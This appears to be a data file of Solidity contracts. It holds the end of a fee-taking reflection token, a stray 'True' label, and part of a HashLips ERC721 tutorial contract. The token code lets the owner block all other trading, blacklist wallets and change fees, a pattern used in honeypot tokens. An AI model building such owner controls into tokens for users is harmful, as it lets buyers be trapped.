= tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function setFeeToZero() external onlyOwner() { _taxFee = 0; _liquidityFee = 0; } function reduceFeeToHalf() external onlyOwner() { _taxFee = 1; _liquidityFee = 7; } function setOriginalFee() external onlyOwner() { _taxFee = 1; _liquidityFee = 14; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(80).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-12-10 */ // SPDX-License-Identifier: MIT // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, 